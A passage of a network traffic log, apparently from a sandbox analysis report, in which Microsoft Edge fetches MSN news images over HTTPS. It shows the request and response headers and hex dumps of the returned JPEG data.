Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
110	192.168.2.5	49892	23.47.50.145	443	7660	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe

Timestamp	Bytes transferred	Direction	Data
2024-11-17 11:35:38 UTC	634	OUT	GET /tenant/amp/entityid/BB1msyCF.img HTTP/1.1 Host: img-s-msn-com.akamaized.net Connection: keep-alive sec-ch-ua: "Microsoft Edge";v="117", "Not;A=Brand";v="8", "Chromium";v="117" sec-ch-ua-mobile: ?0 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Edg/117.0.2045.47 sec-ch-ua-platform: "Windows" Accept: image/webp,image/apng,image/svg+xml,image/,/*;q=0.8 Sec-Fetch-Site: cross-site Sec-Fetch-Mode: no-cors Sec-Fetch-Dest: image Referer: https://ntp.msn.com/ Accept-Encoding: gzip, deflate, br Accept-Language: en-GB,en;q=0.9,en-US;q=0.8
2024-11-17 11:35:39 UTC	521	IN	HTTP/1.1 200 OK Access-Control-Allow-Origin: * Last-Modified: Sat, 09 Nov 2024 04:29:34 GMT X-Datacenter: eastus X-ActivityId: 0ed2a984-972a-4342-bdea-d61664509482 Timing-Allow-Origin: * X-Frame-Options: deny X-ResizerVersion: 1.0 Content-Type: image/jpeg Content-Location: https://img.s-msn.com/tenant/amp/entityid/BB1msyCF X-Source-Length: 131943 Content-Length: 131943 Cache-Control: public, max-age=104002 Expires: Mon, 18 Nov 2024 16:29:00 GMT Date: Sun, 17 Nov 2024 11:35:38 GMT Connection: close
2024-11-17 11:35:39 UTC	15863	IN	Data Raw: ff d8 ff e2 0c 58 49 43 43 5f 50 52 4f 46 49 4c 45 00 01 01 00 00 0c 48 4c 69 6e 6f 02 10 00 00 6d 6e 74 72 52 47 42 20 58 59 5a 20 07 ce 00 02 00 09 00 06 00 31 00 00 61 63 73 70 4d 53 46 54 00 00 00 00 49 45 43 20 73 52 47 42 00 00 00 00 00 00 00 00 00 00 00 00 00 00 f6 d6 00 01 00 00 00 00 d3 2d 48 50 20 20 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 11 63 70 72 74 00 00 01 50 00 00 00 33 64 65 73 63 00 00 01 84 00 00 00 6c 77 74 70 74 00 00 01 f0 00 00 00 14 62 6b 70 74 00 00 02 04 00 00 00 14 72 58 59 5a 00 00 02 18 00 00 00 14 67 58 59 5a 00 00 02 2c 00 00 00 14 62 58 59 5a 00 00 02 40 00 00 00 14 64 6d 6e 64 00 00 02 54 00 00 00 70 64 6d 64 64 00 00 02 Data Ascii: XICC_PROFILEHLinomntrRGB XYZ 1acspMSFTIEC sRGB-HP cprtP3desclwtptbkptrXYZgXYZ,bXYZ@dmndTpdmdd
2024-11-17 11:35:39 UTC	16384	IN	Data Raw: 8d 84 d6 19 f7 08 b6 94 84 aa 46 20 64 30 e5 46 36 34 64 de ba 85 d0 a7 2d 99 fb 43 05 4b 1a 40 12 09 3c 39 b3 60 93 3a 68 29 24 52 36 d1 f6 84 a6 14 b3 96 ed bc f3 e0 eb 08 59 64 21 65 46 3e d8 01 3f 6d ae 0a b4 ad 70 b5 53 2a 90 00 65 2a fa 13 2a 06 a4 88 92 79 d6 93 c2 61 84 ab c6 ec f6 06 55 f7 ee 73 9e 83 18 8b 12 25 3a 0e f0 72 0d b6 ed 23 d4 52 b5 a4 8c 09 92 29 89 c8 4f 16 35 b4 95 a5 6a 4c a4 03 f8 7c d9 45 2a 28 81 95 49 25 52 67 90 19 73 69 be 3c 01 12 37 91 71 51 38 d0 7d 21 46 0d 49 12 63 73 68 20 69 03 d3 b6 01 20 9c c1 19 ec f2 da c3 4a 54 81 21 32 aa c2 cd 04 71 8c b9 93 c1 c0 a4 76 41 52 77 d4 66 77 63 e6 e6 91 76 14 bb 8a 82 45 c4 ec 99 3c 68 32 ae 4c 74 eb b9 a4 2a 15 8c d6 46 d9 e0 d3 66 cd a5 29 52 a2 52 64 18 1a 44 73 33 9c 3d a4 80 Data Ascii: F d0F64d-CK@<9`:h)$R6Yd!eF>?mpSeyaUs%:r#R)O5jL\|E(I%Rgsi<7qQ8}!FIcsh i JT!2qvARwfwcvE<h2Lt*Ff)RRdDs3=
2024-11-17 11:35:39 UTC	1968	IN	Data Raw: 1b e1 fc cb d6 58 00 6b a8 df 3e 7f 26 72 7f 51 bc 14 b5 03 55 c6 a9 13 1a 44 53 e4 e9 77 3a a0 d2 7b f8 70 1d a0 0e d1 2f 02 c7 ea 29 f4 d3 ea fd 46 6a 39 c0 90 f6 7a 75 6a b4 93 43 cb 27 a2 92 7b 0a a9 04 ba 87 41 69 2b 28 9e d0 00 91 b8 cf d9 b1 b1 10 87 6e 4f 9a 02 2f 9c e1 dc 34 51 08 7c e6 f9 a0 21 0f a1 b2 1f 43 43 20 e2 b5 04 24 a8 cd 36 54 9e 4d cf 2b ae 55 c4 59 ff 00 19 09 24 c1 51 c0 31 2b 92 41 67 99 ea 7a be 94 dc 50 28 5d d3 cd 54 dc 04 80 1e 5a ee f5 b7 4c 8b 82 ca 70 48 a4 0e 03 bc b5 9f 56 e9 29 b2 90 94 83 f5 1f bf da 4b 8f e4 55 9d cb de fc 48 7d 72 9c 62 6b 18 75 69 7d 58 cf 53 ac 23 41 ea 69 b4 67 e7 00 f8 b2 ed 7e 6a d9 d4 8e a4 93 b0 93 07 cc a8 30 07 4d d1 83 07 a8 ff 00 52 7e cc e4 f4 5d 39 fa 7a 88 e2 83 f3 0e 3e 62 f7 46 ea 0b Data Ascii: Xk>&rQUDSw:{p/)Fj9zujC'{Ai+(nO/4Q\|!CC $6TM+UY$Q1+AgzP(]TZLpHV)KUH}rbkui}XS#Aig~j0MR~]9z>bF
2024-11-17 11:35:39 UTC	16384	IN	Data Raw: 3a ed 99 c0 ec d9 30 f0 d2 9f 37 e4 01 f7 6f ad 33 a2 e2 4f ed 05 3b 06 da 49 c5 f9 db b7 55 1a 54 6a a8 26 3e 12 79 7c d9 eb b6 17 01 37 50 23 15 83 3e 61 d2 ad 5d 44 9b 96 f5 85 7c 69 32 39 c2 66 bb de d1 d3 1e 97 e8 c8 69 9e 7b 0c 4e e8 0d c9 b7 89 a7 be cc 78 33 f4 80 63 54 11 81 83 1e 7f 36 eb 76 6e d7 4a 24 2b e3 51 20 7f 0e 7e 0f a3 51 9d 19 4b 54 01 45 2b 60 a8 4c 6d 8c cb 60 4a 7e 28 9c 53 94 6e c5 ee dc b0 a1 1a 8a 13 ab 7e ad 98 81 df 56 09 42 50 47 f9 ce 98 83 d9 26 b3 84 d7 c1 ca 92 65 69 7d 0a 16 82 23 b3 04 d7 51 23 b8 e5 39 66 c7 32 12 4c a4 73 51 cf 61 a9 2e 93 79 12 90 6b 2a 33 33 99 dd 40 7e 6e ee 20 18 82 73 56 7f 6d fc 72 6c 42 35 29 52 01 39 52 29 58 ae f8 64 f4 ca 36 ee 42 89 92 37 8f 1d 83 7c bc e2 7d 38 cc 1d b9 4f 9b db e9 ee 64 Data Ascii: :07o3O;IUTj&>y\|7P#>a]D\|i29fi{Nx3cT6vnJ$+Q ~QKTE+`Lm`J~(Sn~VBPG&ei}#Q#9f2LsQa.yk*33@~n sVmrlB5)R9R)Xd6B7\|}8Od
2024-11-17 11:35:39 UTC	16384	IN	Data Raw: 14 07 f7 52 76 0a 12 7c df a3 e8 2f 21 20 85 aa da 7b 55 49 30 40 23 34 d0 c4 41 ac bf 0e 01 d3 53 3b a6 83 07 a3 67 a7 50 04 cc ea c4 c4 0e 06 6a f3 9c a9 02 3d 77 5e b0 ab 5d 2e 82 16 74 99 12 09 c9 39 bf 3a 24 1a 98 3b 23 2f 1c f7 32 54 ab 76 e8 a5 00 7b f8 06 04 dd 27 b2 9b 6a 1f cd 52 39 cb e7 f9 8e b6 4b df 89 a6 95 e2 1e 14 41 05 06 53 8e a3 2a 23 65 3e cc b2 a4 03 5a 03 84 cf 7b f3 b7 12 11 1a 53 07 3f aa 9c a3 bd 87 db 24 82 48 31 13 bd e4 d3 9a bd 54 55 d7 23 d2 2d 08 35 48 41 1c 52 47 38 a3 97 f9 12 04 29 48 fe d3 db 1c 0d 7b 9e 11 ba a4 24 e9 4c 98 cd ad 17 16 10 34 92 15 15 26 b9 d6 03 20 a7 1d dd ad b2 2c 1b c4 dc a4 c7 30 40 ff 00 4d 19 c6 14 91 20 a3 94 cf 98 1e 52 c2 49 0b 01 41 4b 82 27 31 f3 87 28 19 8d 47 f8 c4 f8 2d f5 61 93 b1 b0 17 Data Ascii: Rv\|/! {UI0@#4AS;gPj=w^].t9:$;#/2Tv{'jR9KAS*#e>Z{S?$H1TU#-5HARG8)H{$L4& ,0@M RIAK'1(G-a
2024-11-17 11:35:39 UTC	7952	IN	Data Raw: 8c 9c ea 95 46 dd b8 34 c6 22 a9 39 b1 e4 fc d9 f0 93 49 ab 4a ad 71 e7 1d ee 6d 14 0c 0a 71 c5 99 6c 15 52 32 c2 3c 5c 74 a7 f6 99 dc 59 f6 af a5 39 ca 4f 8b ca 6d d6 11 4b 88 d4 1d 03 2f e1 39 73 13 8f 26 f5 91 70 04 a8 10 45 52 6b 07 6e 5e 0d 42 e2 29 da 0a 13 94 7e 0f b4 a0 a8 fa 6b 8f ed 54 d7 70 9a 1f 78 7c 7c f9 ae 27 4a 78 a0 12 a5 db 5a 4a a1 43 03 8d 69 51 8f 17 a9 d1 ae fe a2 92 46 e3 8a a7 61 70 8b 6b 4c 41 41 34 38 0a 7c 3b b6 e4 dc b4 fa 5a 4e 93 a2 45 49 93 4a 50 cb bd 5c 15 8f 4f 5d 86 c2 d0 48 55 76 7b 86 40 13 8e 9e 25 d2 2f 25 5a 6d c8 13 f4 56 87 97 3d 92 e5 2a 06 a8 03 ff 00 51 23 bd e8 a5 ab 83 39 dc 5a 78 c8 40 49 83 0b 23 7e 7c 2a f8 22 95 51 57 30 3d c3 b4 28 1a 65 8f d6 83 3f ea 0e 5a ce 7a 6d e9 db a8 13 fe d4 3c 5d 94 84 94 61 Data Ascii: F4"9IJqmqlR2<\tY9OmK/9s&pERkn^B)~kTpx\|\|'JxZJCiQFapkLAA48\|;ZNEIJP\O]HUv{@%/%ZmV=Q#9Zx@I#~\|"QW0=(e?Zzm<]a
2024-11-17 11:35:39 UTC	16384	IN	Data Raw: d5 cd 61 35 1a 88 92 90 2b bf 2a 39 cb 5b ba 1d f0 0e eb ae 5b 28 d4 0a 89 06 00 d2 00 f0 98 f2 79 29 be 85 24 a4 85 02 33 8c b6 98 a1 c3 37 7d 55 d2 94 47 ee 38 ec db 57 88 56 b2 20 82 a8 20 1e 5c 0b a4 9d 09 9e 81 37 6c d9 fa 46 a5 18 00 ea 27 85 00 6d 55 c3 73 13 ca 68 07 0d 9b de 28 d1 9d 6b 58 93 00 ee 34 74 9b a9 ce 23 31 cc cb 56 fa 36 20 cb 97 14 92 21 47 bd aa dd d5 15 09 3b 7c 7c db cf a7 42 a4 a8 d3 68 ae df 63 bf cc a2 dd 12 80 37 40 1e 79 97 b6 a8 d6 d6 2a e2 44 ad 49 4a 64 1a c9 33 b8 e0 e5 6e ee 90 4e dd a7 2e 4d 17 2e ea 01 54 93 41 8f 96 c6 ad 29 d2 0e a0 27 c2 1b 4e 2d 67 02 63 2e df 59 a6 a8 1b bb 8b d1 e9 08 16 cc c6 67 1f b0 9f 17 87 ea 00 0d 72 1b 1a 2d de 83 a6 84 01 b3 66 34 dc c7 95 49 07 3b 36 6e 75 0a 04 46 fc 4c 89 c3 c9 90 8b Data Ascii: a5+9[[(y)$37}UG8WV \7lF'mUsh(kX4t#1V6 !G;\|\|Bhc7@yDIJd3nN.M.TA)'N-gc.Ygr-f4I;6nuFL
2024-11-17 11:35:39 UTC	16384	IN	Data Raw: 71 52 4c 48 49 29 c1 d2 94 55 41 90 48 8f c1 e7 b9 42 4a 84 e2 07 9b b6 81 38 89 c7 9b 66 15 0e 80 78 e7 3b b2 6c c2 47 93 52 54 98 c9 c8 94 8a 81 43 8b cc 09 0d be 02 9e 45 ae 46 d8 8c 47 cd ac 95 53 38 3c 5c 44 9c 6a dd 0c 74 8e 6e 68 ce 30 63 12 46 79 ee 75 aa 4b 28 03 0a 13 32 33 d8 e3 0a 06 94 db 3d ce 27 30 73 f7 e4 fb 54 97 34 05 98 19 2a ae 60 1c 61 a8 03 95 3c 9d c2 85 63 26 c6 71 80 7e 6e 52 d7 ae 43 8c b7 42 0e 42 a0 e6 de a0 15 cc 7b e4 c0 06 5b c2 88 34 97 35 90 23 e9 94 55 ac a7 63 2b 23 4f 7d cd 6b e5 9f bc 36 98 10 49 36 d4 14 92 64 78 37 7a ab 22 0a 89 00 ea 01 89 57 34 98 ee 74 d0 59 ea 6d df 55 d4 05 64 64 cc 08 a0 c0 61 bf 6b 70 57 4e 91 f4 9c aa 75 56 77 f6 bc 1e 05 b5 a9 16 a9 31 ac 19 c1 92 56 9b 97 92 8f 85 58 e5 5f b3 cd 60 b2 2b Data Ascii: qRLHI)UAHBJ8fx;lGRTCEFGS8<\Djtnh0cFyuK(23='0sT4*`a<c&q~nRCBB{[45#Uc+#O}k6I6dx7z"W4tYmUddakpWNuVw1VX_`+
2024-11-17 11:35:39 UTC	7952	IN	Data Raw: 54 59 24 27 4d b8 a4 04 d7 e6 03 09 5f a9 5c 51 85 5c 57 70 3b b3 63 e8 b2 9a 90 0f 3d 55 f2 76 2e db 98 09 a6 c2 91 1e 66 1a 5d be df 2e dd fb f1 b0 b9 3e 64 0d e0 aa a4 a8 ce d5 4d 7b df 24 f5 0a 3f 4a 8e d8 fa 48 df 25 e9 a4 53 b2 84 c6 d0 a1 a7 b9 5e 0d fa 16 71 03 70 9a 71 a3 3e 62 8f 28 af 1f e8 54 c4 7e 62 fd b4 56 e1 48 03 e8 4a 8c c7 21 40 f2 55 d6 6a 9d 4a 52 e7 e1 a9 3f d5 5f 93 d4 36 8e a9 5a b0 c2 9e 0a 9f 36 15 cf cb 83 a7 44 2b 31 04 ed 64 34 5f e5 b7 bd a4 86 ef a9 99 74 a9 30 53 49 dc 08 31 94 e7 5c 4c b0 ca c9 8e c0 9c 49 18 f0 c9 ec 84 ea 10 91 3f dc 0e 52 36 38 9e 98 a6 b0 39 e3 c6 68 5f 5a 9c 56 1e e6 54 62 6b bc 0e 66 3c 1c 00 ba b5 13 52 66 a4 d7 3c ab 83 d8 2b 13 92 60 91 59 15 dd 88 cf 6b 52 ae 50 e9 ec a8 13 31 5e 53 ec 7a ea ff Data Ascii: TY$'M_\Q\Wp;c=Uv.f].>dM{$?JH%S^qpq>b(T~bVHJ!@UjJR?_6Z6D+1d4_t0SI1\LI?R689h_ZVTbkf<Rf<+`YkRP1^Sz
2024-11-17 11:35:39 UTC	15417	IN	Data Raw: 02 89 1d ef 0d 2e f0 00 e6 c5 d4 d0 8c f7 87 c9 46 c8 d9 1f 3d 8d be b2 ee 11 5a 52 06 19 32 ca 8a 4d 53 98 26 45 7c e1 eb a9 ad e8 00 0d b2 7e 9a 56 22 73 e5 ed 71 28 52 7e 20 63 30 2b 1c 59 02 e9 51 09 a0 c2 7d c5 1d 69 52 0a ab 22 0d 46 3c c3 76 f9 88 08 ce d7 23 50 30 f7 c5 cd 48 cc 8a ee c6 18 a6 b8 47 37 a8 12 21 2f 86 ac 1d 4f 1f 7d ce 24 b6 01 12 b0 76 53 df 6b b9 48 ce a4 ec fb e0 f8 2f 0d dc 8b 44 0c 48 68 0a cc e2 e4 01 06 32 e6 d9 0a 02 82 9b dc 90 89 35 ec f3 60 0d 4e 9d 24 c5 71 cf 63 1d 24 ea 3c 99 8b 54 76 45 1c 52 35 6e cc 63 83 81 85 db 29 89 56 c1 1e c6 a3 7b 3e c8 8c a5 b5 48 ec a4 26 b2 04 9e fc b6 31 08 19 04 9a 52 38 d4 d6 5c 2a 63 22 2e 95 28 19 8f 7d c1 b0 e9 09 a9 ac e5 53 ab 63 a8 4a 6a 47 0c a8 da 02 94 0e 91 25 55 93 1e 5b 9d Data Ascii: .F=ZR2MS&E\|~V"sq(R~ c0+YQ}iR"F<v#P0HG7!/O}$vSkH/DHh25`N$qc$<TvER5nc)V{>H&1R8\*c".(}ScJjG%U[

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
111	192.168.2.5	49893	23.47.50.145	443	7660	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe

Timestamp	Bytes transferred	Direction	Data
2024-11-17 11:35:38 UTC	634	OUT	GET /tenant/amp/entityid/BB1msKEt.img HTTP/1.1 Host: img-s-msn-com.akamaized.net Connection: keep-alive sec-ch-ua: "Microsoft Edge";v="117", "Not;A=Brand";v="8", "Chromium";v="117" sec-ch-ua-mobile: ?0 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Edg/117.0.2045.47 sec-ch-ua-platform: "Windows" Accept: image/webp,image/apng,image/svg+xml,image/,/*;q=0.8 Sec-Fetch-Site: cross-site Sec-Fetch-Mode: no-cors Sec-Fetch-Dest: image Referer: https://ntp.msn.com/ Accept-Encoding: gzip, deflate, br Accept-Language: en-GB,en;q=0.9,en-US;q=0.8
2024-11-17 11:35:39 UTC	520	IN	HTTP/1.1 200 OK Last-Modified: Mon, 04 Nov 2024 16:53:11 GMT Access-Control-Allow-Origin: * X-Datacenter: northeu X-ActivityId: 29f77022-82dc-4d4d-b0c7-21d07738aa16 Timing-Allow-Origin: * X-Frame-Options: deny X-ResizerVersion: 1.0 Content-Type: image/jpeg Content-Location: https://img.s-msn.com/tenant/amp/entityid/BB1msKEt X-Source-Length: 81045 Content-Length: 81045 Cache-Control: public, max-age=106150 Expires: Mon, 18 Nov 2024 17:04:48 GMT Date: Sun, 17 Nov 2024 11:35:38 GMT Connection: close
2024-11-17 11:35:39 UTC	15864	IN	Data Raw: ff d8 ff e2 0c 58 49 43 43 5f 50 52 4f 46 49 4c 45 00 01 01 00 00 0c 48 4c 69 6e 6f 02 10 00 00 6d 6e 74 72 52 47 42 20 58 59 5a 20 07 ce 00 02 00 09 00 06 00 31 00 00 61 63 73 70 4d 53 46 54 00 00 00 00 49 45 43 20 73 52 47 42 00 00 00 00 00 00 00 00 00 00 00 00 00 00 f6 d6 00 01 00 00 00 00 d3 2d 48 50 20 20 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 11 63 70 72 74 00 00 01 50 00 00 00 33 64 65 73 63 00 00 01 84 00 00 00 6c 77 74 70 74 00 00 01 f0 00 00 00 14 62 6b 70 74 00 00 02 04 00 00 00 14 72 58 59 5a 00 00 02 18 00 00 00 14 67 58 59 5a 00 00 02 2c 00 00 00 14 62 58 59 5a 00 00 02 40 00 00 00 14 64 6d 6e 64 00 00 02 54 00 00 00 70 64 6d 64 64 00 00 02 Data Ascii: XICC_PROFILEHLinomntrRGB XYZ 1acspMSFTIEC sRGB-HP cprtP3desclwtptbkptrXYZgXYZ,bXYZ@dmndTpdmdd
2024-11-17 11:35:39 UTC	16384	IN	Data Raw: 14 89 9c af b9 a8 a7 a5 f3 2e 9a fb 0d 56 09 b8 ab 0b 98 80 82 a0 bb 74 b5 86 35 f1 f6 ac f1 dd 09 6e 80 0f f7 fe eb 70 4f ac 31 73 95 c2 e1 6f b9 f8 a4 92 49 e4 ba 98 a1 49 8c a1 6d d0 b6 db 6c 33 05 58 2f 69 da bc e3 f8 9c 37 43 41 f4 4a d9 e2 48 3a ac 7b 79 4f 12 dd 57 09 fc c4 ed 13 03 72 83 ca a0 14 11 97 b4 af 39 7b 8e 71 b8 d1 3e a9 5d 9f 88 11 32 6a 34 5a d3 9c 27 15 a3 6c 34 43 71 1e 8d e5 55 23 bc 01 98 1a 98 8e c5 83 c4 18 d5 40 db e5 d7 5e d8 c5 dd 69 8d d2 b7 11 9a 5c ae 97 02 2a 4c e8 dd b1 db d2 a1 77 10 62 a6 8c 69 02 33 5a 6b df ab 6c 01 fb a7 f4 5c ce 3a eb c0 0d 7b 43 4f ac 21 58 bb af de 0e 2e b7 07 70 bb 0b a0 12 d2 0c cc 50 65 b3 c5 5a bf c6 5d b8 dc 21 ce 21 c5 ed 13 b0 bc 18 e7 50 bc d7 05 74 49 06 26 20 4e b5 3a 0d b3 9a f4 8c e1 Data Ascii: .Vt5npO1soIIml3X/i7CAJH:{yOWr9{q>]2j4Z'l4CqU#@^i\*Lwbi3Zkl\:{CO!X.pPeZ]!!PtI& N:
2024-11-17 11:35:39 UTC	1981	IN	Data Raw: ec 96 4f 13 96 95 e5 52 af b6 5b a7 e7 5d 3b 44 eb 4d 39 20 97 61 d4 9a d0 69 d9 0b 90 78 87 6a 68 3c 64 c7 2a 24 7c e7 cd 1d ca 9a ef 85 ad 1d d0 96 ed 0e 0a ff 00 a4 00 fd f6 fe 89 7c 1d f9 f5 7c 7c c6 7d 65 7a 11 84 6c ec fa ac 97 b4 6c 5a b9 e4 e5 a2 1c 31 c1 bf ee cf ff 00 51 bf 52 b3 f0 4f fe 19 dd e6 37 ea bb 07 88 60 50 7c 58 8f 7f 62 b7 cd 74 e2 e2 be d7 94 e0 d7 5b 22 76 dc fa 02 96 11 86 70 82 34 a5 c9 3d 80 4a bf 72 ed a7 ba 5c c0 e2 34 38 4c a8 0f 10 d6 e8 de c1 1e c4 d7 1f 37 f7 62 71 85 30 d2 66 2c bb c4 94 06 5d 90 05 a0 d1 99 2e f6 47 d1 59 f3 9c fd 26 bb 4c 74 15 5a 6f bb 56 b5 a7 2d 5d d0 3d a9 ab b9 2a 13 1b 43 57 dc 0d db a7 b5 46 47 0e 28 03 de 6b 5e ef e8 a2 b9 e6 01 50 1c 77 86 8e d3 2a b1 b9 74 7f 0d 83 28 2e 77 40 01 58 b9 eb da Data Ascii: OR[];DM9 aixjh<d$\|\|\|\|}ezllZ1QRO7`P\|Xbt["vp4=Jr\48L7bq0f,].GY&LtZoV-]=CWFG(k^Pw*t(.w@X
2024-11-17 11:35:39 UTC	16384	IN	Data Raw: 4a 5b a9 f1 01 c3 50 72 8d 9b 96 b1 34 ec 07 92 e3 79 17 27 ba eb 67 f7 a3 a5 64 b2 fd bd 58 7c 2b d0 ae 8c 7a 65 05 bb 78 87 3d df 53 b1 4b 33 53 1e fa ca f3 e6 eb 9b ab 5d a4 d4 14 c7 13 0a 7b 73 d1 6d e8 21 a6 27 4e 5a ef e5 54 88 60 db ef 9a e3 8e 21 a7 35 2b 6e 4d 31 53 9a cf b7 30 5b a3 de 13 cb 66 70 b1 de ec f7 95 10 ba dc c8 8e c9 ec 52 48 3a 57 b3 45 9a 52 11 b6 0e d1 9e e5 bc 51 4e 9e 85 09 6b 8e 91 49 df ce 25 60 b5 cc 00 c1 3e c4 a8 91 61 d7 41 a1 cb 7a 0d c6 9f 7d 55 5c 7b 67 b3 df 55 b0 eb 44 e9 14 ec 57 4d 6f 13 48 1c cc 66 36 e5 bd 01 83 6f 87 b5 46 30 cc 87 50 f6 f8 e6 16 1c 09 3a f2 1f 4f 62 78 89 f0 b7 53 ae c4 7a ba d7 64 6c 55 bb e3 4a e4 56 3c e7 8a 7f 65 ad 32 2e 02 ec 8b 4c e7 3d 4b 5e 19 78 8e b5 4b 11 8a 81 03 97 64 23 16 71 2a Data Ascii: J[Pr4y'gdX\|+zex=SK3S]{sm!'NZT`!5+nM1S0[fpRH:WERQNkI%`>aAz}U\{gUDWMoHf6oF0P:ObxSzdlUJV<e2.L=K^xKd#q*
2024-11-17 11:35:39 UTC	16384	IN	Data Raw: 13 86 72 ab 8f 5a 94 59 7c fa 46 77 ac fc 33 b5 24 d3 61 1d 6b 37 fd 4b 4c 79 4c 89 0d b6 3c 11 e5 b4 7d d1 b8 6d 52 7c 39 06 9d a4 c0 cb 42 b3 83 49 2d cf 42 97 cd 69 ac 1b 6e 0a 67 08 86 bb d3 74 6e 15 dc a3 87 64 01 9d 2b 9f 34 c5 a7 98 9f 4a 7c 0e ca f4 ab e2 37 f8 62 64 bf b5 61 cf b6 2a 03 8f 6a 3c 83 4e f4 4d 0e 9f 54 fc 98 ae 21 9d 29 d3 29 15 bc a4 45 d6 e2 ad 3b d6 26 d1 1f cb 98 d3 df 35 30 60 93 b0 73 18 b2 3e f9 a3 cb 15 20 d4 6e d1 6b 87 33 8a 29 b6 2b e5 c4 88 f7 0b 05 cc 74 82 cd 9d 0b 78 5b 14 2e cf bd 1e ae 9a 02 b2 6d b1 d5 1b 39 e7 d0 b5 c3 9a 20 c4 c3 e8 44 54 46 a5 62 6d 9a e1 39 cd 3c 63 c1 5a 2d b0 75 3a ec 04 09 d9 4d 79 a5 e5 b5 cd ee bc 30 d3 5a 81 ef da b5 71 cc a5 62 5b ae be f9 2c 62 69 14 91 e1 b4 e8 ad 79 2d 02 43 e6 b5 d8 Data Ascii: rZY\|Fw3$ak7KLyL<}mR\|9BI-Bingtnd+4J\|7bda*j<NMT!))E;&50`s> nk3)+tx[.m9 DTFbm9<cZ-u:My0Zqb[,biy-C
2024-11-17 11:35:39 UTC	7952	IN	Data Raw: 10 46 10 60 f6 69 d9 9a 89 d7 3d 58 70 ca bb 13 45 96 b0 78 9c 36 8c 98 a8 f7 f0 45 8b 8d 69 3e 61 06 22 9b 7f b9 5c 6e 31 ec 36 da e9 99 1b 36 99 c9 43 6d 85 d7 58 e3 8a 0b 43 9d 5a 6e ec 92 bd 5e dc 69 bd 97 6c 5b d4 be e1 c5 e5 b7 43 19 69 fa 2e 65 e0 f6 4b dd b0 b7 79 cb c1 5a c7 6e db 66 6b 4a ef 51 7c 4c 89 b9 1d ea b5 bf 96 62 7c 35 5c 71 89 8d 91 c1 a5 92 1f 66 dc 6a 60 0a 66 ac 07 b8 34 8d 31 4d 3d aa 83 6f b8 dc c2 01 76 b0 7c 27 ea 8f 31 f2 5f 84 99 6c 37 90 23 67 5c a9 38 ef a6 96 cd d7 39 a4 8a 89 81 ce 73 8d f9 2a ad bc e6 e3 17 08 d8 08 39 fe aa a0 f3 b0 9c 0d 33 6d a2 48 cc f2 52 8e 18 de 87 ba 5a 30 41 04 c1 99 a2 d6 9c 63 6d 7e e8 d8 69 37 5b 85 dd d0 1b e2 1a 63 eb 45 7c 96 5a 70 b9 a1 0d 80 39 1e 55 47 c3 61 21 a1 d0 d8 d7 c0 0a 78 ad Data Ascii: F`i=XpEx6Ei>a"\n166CmXCZn^il[Ci.eKyZnfkJQ\|Lb\|5\qfj`f41M=ov\|'1_l7#g\89s*93mHRZ0Acm~i7[cE\|Zp9UGa!x
2024-11-17 11:35:39 UTC	6096	IN	Data Raw: 8c 30 d7 61 ef 50 96 e6 29 e8 f6 90 a2 c6 04 81 15 30 39 c0 a8 f1 01 66 dd e0 1c e7 ec 2f 70 11 93 b0 e5 db d8 b7 3c 5c e2 78 ba 20 01 ab 62 20 ef 5a b8 c7 38 b6 1d 85 a0 cb 84 6b 43 d2 aa 8b 8e 7e 16 b8 6a 26 99 57 da 15 13 78 f9 9e 50 26 5b 04 93 a1 3b 17 2d 33 3e 0e 96 b3 76 e1 b3 59 9a 9f 0a 40 a2 f3 f8 9c 4d b6 b8 90 d7 b8 77 b6 90 67 a5 77 f0 f9 8e a9 ee fa a0 6d 24 d4 f8 2d ba dd 97 06 b5 d5 f2 c7 69 d3 b5 75 8c a3 1d b1 7d cc 4c 5a 97 93 75 e2 a4 c1 33 a6 a4 56 7a 95 9c 45 86 e1 91 18 80 07 5c b5 ed 2a f3 6f 07 0c 3f 7b 40 ab 06 9c 38 35 ae 23 3f 5d eb 95 cc ed 83 4e c1 e5 1b 40 99 92 e1 b7 d5 90 07 52 cf 90 d3 6d b0 e9 d3 a6 68 79 2d 8b 6e 76 2c 6e 22 64 46 ed 08 52 5b 61 b2 18 0e 42 32 d9 f5 56 eb ab a1 36 cd a7 06 cc ba 20 49 3a 18 59 16 86 b1 Data Ascii: 0aP)09f/p<\x b Z8kC~j&WxP&[;-3>vY@Mwgwm$-iu}LZu3VzE\*o?{@85#?]N@Rmhy-nv,n"dFR[aB2V6 I:Y

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
112	192.168.2.5	49891	23.47.50.145	443	7660	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe

Timestamp	Bytes transferred	Direction	Data
2024-11-17 11:35:39 UTC	634	OUT	GET /tenant/amp/entityid/BB1msB1O.img HTTP/1.1 Host: img-s-msn-com.akamaized.net Connection: keep-alive sec-ch-ua: "Microsoft Edge";v="117", "Not;A=Brand";v="8", "Chromium";v="117" sec-ch-ua-mobile: ?0 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Edg/117.0.2045.47 sec-ch-ua-platform: "Windows" Accept: image/webp,image/apng,image/svg+xml,image/,/*;q=0.8 Sec-Fetch-Site: cross-site Sec-Fetch-Mode: no-cors Sec-Fetch-Dest: image Referer: https://ntp.msn.com/ Accept-Encoding: gzip, deflate, br Accept-Language: en-GB,en;q=0.9,en-US;q=0.8
